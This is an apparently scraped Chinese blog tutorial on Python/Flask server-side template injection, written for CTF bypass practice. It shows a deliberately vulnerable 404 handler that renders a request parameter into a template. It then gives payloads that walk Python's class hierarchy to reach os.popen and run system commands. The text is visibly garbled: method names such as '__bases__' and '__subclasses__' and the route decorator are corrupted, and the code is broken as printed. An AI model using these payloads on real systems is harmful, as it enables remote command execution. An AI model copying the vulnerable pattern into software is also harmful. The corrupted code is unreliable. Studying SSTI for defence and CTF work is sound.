python模板注入_Python模板注入(SSTI)深入学习

更新时间:2023-05-06 02:07:57 阅读: 评论:0

python模板注⼊_Python模板注⼊(SSTI)深⼊学习
前⾔
⼀直对模板注⼊似懂⾮懂的,打算在这篇⽂章中深⼊的研究⼀下模板注⼊以及在ctf中bypass的办法。
Learning
什么是模板&模板注⼊
⼩学的时候拿别⼈的好词好句,套在我们⾃⼰的作⽂⾥,此时我们的作⽂就相当于模板,⽽别⼈的好词好句就相当于传递进模板的内容。
那么什么是模板注⼊呢,当不正确的使⽤模板引擎进⾏渲染时,则会造成模板注⼊,⽐如:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
@ute('/')
def hello_world():
return 'Hello World!'
@handler(404)
def page_not_found(e):
template = '''
{%% block body %%}
Oops! That page doesn't exist.
%s
{%% endblock %%}
''' % (('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
⽹上⼤部分所使⽤的request.url的⽅式已经不能导致模板注⼊了,在最新的flask版本中会⾃动对request.url进⾏urlencode,所以我稍微改了⼀下代码,改成request.args传参就可以了。
在上述代码中,直接将⽤户可控参数('404_url')在模板中直接渲染并传回页⾯中,这种不正确的渲染⽅法会产⽣模板注⼊(SSTI)。
可以看到,页⾯直接传回了0⽽不是{{1-1}}。
How2u
在Python的ssti中,⼤部分是依靠基类->⼦类->危险函数的⽅式来利⽤ssti,接下来讲⼏个知识点。
__class__
万物皆对象,⽽class⽤于返回该对象所属的类,⽐如某个字符串,他的对象为字符串对象,⽽其所属的类为。
__bas__
以元组的形式返回⼀个类所直接继承的类。
__ba__
以字符串返回⼀个类所直接继承的类。
__mro__
返回解析⽅法调⽤的顺序。
__subclass__()
获取类的所有⼦类。
__init__
所有⾃带带类都包含init⽅法,便于利⽤他当跳板来调⽤globals。
__globals__
function.__globals__,⽤于获取function所处空间下可使⽤的module、⽅法以及所有变量。
在看完上边这些⾃带⽅法、成员变量后,可能有点懵,接下来看看是如何利⽤这些⽅法以及成员变量达到我们想要的⽬的的。
在SSTI中,我们要做的⽆⾮就两个:
执⾏命令
获取⽂件内容
所以我们所做的⼀切实际上都是在往这两个结果靠拢。
测试代码:
# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
@ute('/')
def hello_world():
return 'Hello World!'
@handler(404)
def page_not_found(e):
template = '''
{%% block body %%}
Oops! That page doesn't exist.
%s
{%% endblock %%}
''' % (('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
当我们访问的页⾯404时,会从get传递的参数中获取404_url的值并且拼接进模板进⾏渲染。
"".__class__
"".__class__.__bas__
"".__class__.__mro__[1]
"".__class__.__mro__[1].__subclass__()
我们只需要寻找可能执⾏命令或者可以读取⽂件的类就可以了,重点关注os/file这些关键字。
获取到subclass后,初步看了⼀下没有能直接执⾏命令或者获取⽂件内容的,接下来使⽤init.globals来看看有没有os module或者其他的可以读写⽂件的。
{{"".__class__.__mro__[1].__subclass__()[303].__init__.__globals__}}
这⾥我⽤burp来爆破303这个数字,从0爆破到⼀千,可以发现有很多个内置类都可以使⽤os这个模块,于是就可以欢乐的执⾏系统命令了
{{"".__class__.__mro__[1].__subclass__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

本文发布于:2023-05-06 02:07:57,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/89/859652.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:模板   返回   获取   渲染   对象   可能
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图